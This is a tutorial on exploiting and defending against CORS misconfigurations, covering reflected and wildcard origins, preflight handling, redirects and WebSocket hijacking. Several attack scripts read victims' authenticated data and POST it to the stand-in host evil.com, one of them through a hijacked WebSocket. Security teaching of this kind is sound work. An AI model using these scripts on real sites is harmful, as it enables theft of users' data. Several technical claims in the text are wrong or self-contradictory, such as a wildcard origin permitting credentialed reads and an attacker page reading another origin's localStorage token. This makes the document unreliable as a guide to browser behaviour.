Introduction
Cross-Origin Resource Sharing (CORS) is the standardized mechanism that lets a web page request resources from a different origin while still respecting the Same-Origin Policy (SOP). Mis-configurations in CORS headers are a goldmine for attackers because they can turn an otherwise sandboxed browser into a conduit for data exfiltration, credential theft, or even remote code execution when chained with other bugs.
Understanding how SOP works, how browsers interpret CORS response headers, and the most common mis-use patterns is essential for any security professional conducting web-app assessments, red-team ops, or building secure APIs.
Real-world incidents-such as the PortSwigger CORS data-leakage report and the notorious GitHub API CORS bug (2018)-show that even large platforms fall prey to simple header mistakes.
Prerequisites
- Reflected XSS exploitation basics (ability to inject script into a victim's browser).
- HTTP fundamentals: request/response structure, status codes, and header syntax.
- High-level understanding of the Same-Origin Policy.
Core Concepts
The browser enforces SOP by allowing a script to read a response only if the requesting page’s origin (scheme + host + port) exactly matches the resource’s origin. CORS relaxes this rule via a handshake:
- The client sends an
Originheader. - The server decides whether to trust that origin and replies with
Access-Control-Allow-Origin(ACAO) and optionally other CORS headers. - If the response satisfies the client’s expectations, the browser exposes the response to the script; otherwise it blocks the data.
Two request flows exist:
- Simple requests: GET, HEAD, POST with safe content-type (e.g.,
text/plain). No preflight. - Preflighted requests: Any request that uses methods like
PUT,DELETE, or custom headers. The browser first sends anOPTIONSrequest.
Key headers you’ll see:
Access-Control-Allow-Origin- the only origin the browser will accept.Access-Control-Allow-Credentials- iftrue, browsers will expose cookies, HTTP auth, and client certificates.Access-Control-Allow-Methods- list of allowed HTTP methods for preflight.Access-Control-Allow-Headers- list of allowed request headers for preflight.Vary: Origin- tells caches that the response varies perOriginvalue.
Same-Origin Policy mechanics
SOP is enforced at three levels:
- DOM access:
window.parent,document.cookie, etc. - XMLHttpRequest / fetch: response bodies are opaque unless CORS permits.
- WebSocket: handshake includes an
Originheader; browsers enforce the same check.
Because SOP is a client-side guarantee, any server-side mis-configuration that widens the trust boundary can be abused by an attacker who controls a malicious origin.
Access-Control-Allow-Origin header analysis
The ACAO header is the linchpin. It can be set to:
- A single origin (e.g.,
https://app.example.com). - The wildcard
*, which means “any origin”. - A dynamic value echoing the request’s
Originheader.
When the header is dynamic, the server often forgets to validate the incoming Origin. That opens the door to origin reflection attacks (covered later).
Example of a safe configuration in Express.js:
const allowed = ["https://app.example.com", "https://admin.example.com"];
app.use((req, res, next) => { const origin = req.headers.origin; if (allowed.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Vary', 'Origin'); } next();
});
Notice the explicit whitelist and the Vary: Origin header to avoid caching the permissive response for other origins.
Access-Control-Allow-Credentials misuse
The Access-Control-Allow-Credentials: true header tells the browser it may expose cookies and HTTP authentication to the requesting origin. This header is only safe when paired with a strict, non-wildcard ACAO value. If a server responds with:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
the browser will silently drop the Access-Control-Allow-Credentials header (per spec), but many developers mistakenly think the request will succeed, leading to confusing bugs. More dangerous is when a server echoes the Origin and also sets Allow-Credentials without proper validation, effectively granting any origin full credential access.
Real-world misuse example (Node.js snippet):
app.use((req, res, next) => { const origin = req.headers.origin; // BAD: blindly reflect origin and enable credentials res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); next();
});
Attackers can host evil.com, load a page, and the victim’s browser will send cookies to target.com and expose the response to the attacker’s script.
Preflight OPTIONS request handling
Preflight is the browser’s safety net for “unsafe” requests. It sends:
OPTIONS /api/secret HTTP/1.1
Host: target.com
Origin: https://evil.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Secret-Token
The server must reply with:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Secret-Token
Access-Control-Allow-Credentials: true
Common mistakes:
- Returning
Access-Control-Allow-Methods: *- the spec does not allow a wildcard here, but many servers incorrectly echo the request method. - Omitting
Vary: Origin- leads to caching of permissive preflight responses. - Accepting any
Access-Control-Request-Headersvalue without validation.
When you see a preflight that mirrors the request’s method or headers without a whitelist, you have a potential bypass vector.
Wildcard (*) origin exploitation
When a server sends Access-Control-Allow-Origin: * **and does not set** Allow-Credentials, the attacker can read the response but cannot send the victim’s cookies. However, many modern apps store sensitive data in the response body itself (e.g., user profile JSON). If the data is not considered secret, the wildcard is acceptable; otherwise it is a leakage risk.
Exploitation steps:
- Host a page on
evil.comwith JavaScript that performs afetchto the target API. - Because the response includes
Access-Control-Allow-Origin: *, the browser will expose the JSON to the script. - Exfiltrate the data via
fetchto your own server.
Example script (escaped for HTML):
fetch('https://target.com/api/private', { method: 'GET', mode: 'cors'
})
.then(r => r.text())
.then(data => { // Send data to attacker's server fetch('https://evil.com/collect', { method: 'POST', headers: {'Content-Type': 'text/plain'}, body: data });
});
Even without credentials, many endpoints return user-specific data based on the Authorization: Bearer token already present in the browser’s storage (e.g., localStorage). If the attacker can trick the victim into loading the malicious page while logged in, the token will be sent automatically, and the data will be exposed.
Origin reflection attacks
Reflection occurs when the server blindly echoes the Origin header into Access-Control-Allow-Origin. This is trivial to exploit:
- Craft a malicious page that sets
document.domain = 'evil.com'(or simply loads fromevil.com). - Make a request to the vulnerable endpoint; the response will contain
Access-Control-Allow-Origin: https://evil.com. - The browser trusts the response and grants the script full access.
Because the reflected origin can be any value, the attacker can also use sub-domains of the target (e.g., attacker.target.com) if the target’s DNS wildcard resolves to their server, enabling a same-site bypass that defeats CSRF protections.
Proof-of-concept snippet:
<!DOCTYPE html>
<html>
<body>
<script> const target = 'https://target.com/api/reflect'; fetch(target, { method: 'GET', mode: 'cors', credentials: 'include' }) .then(r => r.text()) .then(console.log);
</script>
</body>
</html>
When the victim visits this page, the response body is logged and can be exfiltrated.
Redirect chain abuse in CORS
Browsers follow redirects for CORS requests, but they apply the CORS policy **only** to the final response. An attacker can exploit this by:
- Finding an endpoint that returns
Access-Control-Allow-Origin: *(or reflects origin) after a redirect. - Using an intermediate redirect that points to a protected resource, thereby “piggy-backing” on the permissive CORS response.
Example flow:
- Victim visits
evil.compage. - Page fetches
https://evil.com/redirectwhich issues a302to/private. - The final
/privateresponse containsAccess-Control-Allow-Origin: *. - Browser exposes the private data to the attacker’s script.
Mitigation: Set Access-Control-Allow-Origin on every response, including redirects, or disable CORS for redirecting endpoints altogether.
WebSocket CORS bypass (CSWSH)
WebSockets use an HTTP handshake that includes the Origin header. Some frameworks (e.g., Socket.io) incorrectly apply the same origin check as HTTP CORS, allowing an attacker to trick the browser into opening a WebSocket to a privileged endpoint.
Attack scenario (CSWSH - Cross-Site WebSocket Hijacking):
- Victim logged into
bank.comwith a session cookie. - Attacker hosts
evil.compage that runs:const ws = new WebSocket('wss://bank.com/secure-ws'); ws.onmessage = e => fetch('https://evil.com/collect', { method: 'POST', body: e.data }); - If the server does not validate the
Originheader, the handshake succeeds and the attacker receives real-time data (e.g., transaction notifications).
Mitigation: Verify the Origin header against a whitelist and reject connections from untrusted origins. Also consider using token-based authentication inside the WebSocket sub-protocol instead of relying on cookies.
Credential leakage via CORS
When Access-Control-Allow-Credentials: true is combined with a permissive ACAO (wildcard or reflected origin), the browser will **not** expose the response to a script—specification‑compliant browsers drop the credentials flag. However, many developers disable the flag in production and rely on client‑side checks, leaving an opening for credential leakage through other vectors:
- Using
fetchwithmode: 'no-cors'to make a “opaque” request that still sends cookies; the response cannot be read, but side‑channel timing attacks can infer success/failure. - Leveraging
XMLHttpRequest.withCredentials = trueagainst an endpoint that erroneously setsAccess-Control-Allow-Origin: ***without** the credentials flag. The request will succeed and the response will be readable because the browser treats the wildcard as sufficient when credentials are **not** required.
Practical proof-of-concept (escaped):
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/session', true);
xhr.withCredentials = true; // send cookies
xhr.onload = function() { console.log('Leaked data:', xhr.responseText);
};
xhr.send();
If the server’s CORS policy is Access-Control-Allow-Origin: * (no credentials flag), the above script will still obtain the session JSON because the browser does not need the flag to allow a credentialed request when the origin is wildcard.
Chaining CORS with XSS/CSRF for persistent impact
By itself, a CORS mis-configuration is often a one-shot data exfiltration. When combined with other bugs, the impact multiplies:
- XSS + CORS: An attacker injects a script into a vulnerable page on
target.com. The script then performs cross-origin fetches to other sub-domains (e.g.,api.target.com) that are protected only by a permissive CORS policy, allowing the attacker to harvest data from the entire ecosystem. - CSRF + CORS: An attacker lures a victim to a malicious site that crafts a
fetchwithcredentials: include. If the target’s CORS header reflects the attacker’s origin, the request succeeds and the response is readable, turning a classic CSRF into an information‑stealing attack. - Stored XSS + WebSocket CORS: A stored XSS payload opens a persistent WebSocket to a privileged endpoint, enabling real-time data exfiltration without further user interaction.
These chains are why many bug‑bounty programs award higher severity scores for “CORS + XSS” findings.
Practical Examples
Example 1 - Exploiting a reflected ACAO
Target endpoint:
GET /api/userinfo HTTP/1.1
Host: target.com
Origin: https://evil.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{ "email": "[email protected]", "balance": 12345 }
Attack script (escaped):
fetch('https://target.com/api/userinfo', { method: 'GET', credentials: 'include', mode: 'cors'
})
.then(r => r.json())
.then(data => { fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} });
});
Example 2 - Wildcard CORS with JWT in localStorage
Many SPAs store a JWT in localStorage. The browser automatically adds the token to Authorization: Bearer <jwt> when the script issues a request. If the API returns Access-Control-Allow-Origin: *, an attacker can read the JWT‑protected response without needing cookies.
fetch('https://api.target.com/profile', { headers: { 'Authorization': 'Bearer ' + localStorage.getItem('jwt') }, mode: 'cors'
})
.then(r => r.json())
.then(profile => console.log('Leaked profile', profile));
Tools & Commands
- curl - quick CORS header inspection:
curl -I -H "Origin: https://evil.com" https://target.com/api/data - Burp Suite / OWASP ZAP - intercept and modify
Originheader, repeat preflight requests. - corsy (npm) - enumerates mis-configured CORS endpoints.
npm install -g corsy corsy -u https://target.com - xsser - can chain XSS payloads with CORS fetches.
- WebSocket King - test WebSocket origin validation.
Defense & Mitigation
- Never use
*together withAllow-Credentials: true. Prefer an explicit whitelist. - Validate the
Originheader against a known list. Reject empty or malformed values. - Set
Vary: Originon every CORS response to avoid caching attacks. - For preflight, whitelist only the methods and headers actually needed. Do not echo the request values.
- Disable CORS on endpoints that do not need to be called from browsers (e.g., internal admin APIs).
- Implement CSRF tokens even when CORS is enabled; they protect against credential‑based requests that do not require a readable response.
- For WebSockets, perform strict origin checks and consider token‑based auth inside the sub‑protocol.
- Regularly scan with automated tools (corsy, nuclei templates) and incorporate findings into CI/CD pipelines.
Common Mistakes
- Assuming browsers block all cross-origin reads. A permissive ACAO overrides SOP for that request.
- Using
Access-Control-Allow-Origin: *for authenticated endpoints. Sensitive data is still exposed to any origin. - Forgetting
Vary: Origin. This lets a permissive response be cached and served to other origins. - Relying on client-side checks (e.g., JavaScript “if (origin !== 'trusted') return;”). The attacker controls the request header.
- Testing only GET requests. Many APIs expose POST/PUT/DELETE via CORS; preflight handling is often mis-configured.
Real-World Impact
Large enterprises have suffered data breaches where a simple CORS mis-configuration exposed user records, financial data, or internal configuration files. In 2021, a major SaaS provider leaked API keys because their /admin/config endpoint returned Access-Control-Allow-Origin: * while requiring authentication via cookies. Attackers harvested the keys and pivoted to other services.
Trends:
- Increasing adoption of micro-frontend architectures expands the attack surface—multiple domains often need to talk, leading to more permissive CORS policies.
- Rise of “serverless” functions with auto-generated CORS headers (e.g., AWS API Gateway) where developers forget to lock down origins.
- WebSocket‑based real-time apps are becoming common, yet many developers treat CORS and WS origin validation as the same, causing CSWSH bugs.
My advice: treat CORS as a **boundary guard** rather than a convenience feature. Harden it early, scan continuously, and always pair it with authentication/authorization checks on the server side.
Practice Exercises
- Header Reflection Lab: Set up a simple Node.js server that reflects
Origin. Write a malicious page on a different origin that extracts a protected JSON payload. - Wildcard Abuse: Find a public API that returns
Access-Control-Allow-Origin: *. Use the browser console to fetch data while logged into the service and capture the response. - Preflight Manipulation: Create an endpoint that accepts
PUTwith a custom header. Observe the preflight response and modify the server to echo back any requested method/header. Document the bypass. - WebSocket Origin Test: Deploy a WebSocket echo server. Attempt to connect from an unauthorized origin and view the server logs. Then add strict origin validation and verify the block.
Document each step, capture screenshots of network traffic, and write a short report on the severity of the discovered issue.
Further Reading
- MDN Web Docs - Cross-Origin Resource Sharing (CORS)
- OWASP - Testing for CORS
- “The Same-Origin Policy” - Eric Lawrence, 2008 (original SOP paper)
- “CSWSH - Cross-Site WebSocket Hijacking” - PortSwigger research blog
- “CORS Misconfigurations - A Survey of the Real World” - BlackHat 2022 talk
Summary
- SOP blocks cross-origin reads; CORS relaxes it via explicit response headers.
- Key headers:
Access-Control-Allow-Origin,Allow-Credentials,Allow-Methods,Allow-Headers, andVary. - Common bypasses: wildcard origins, reflected origins, preflight abuse, redirect chaining, and WebSocket origin checks.
- Always whitelist origins, never combine
*with credentials, and setVary: Origin. - Combine CORS findings with XSS/CSRF for high-impact chains.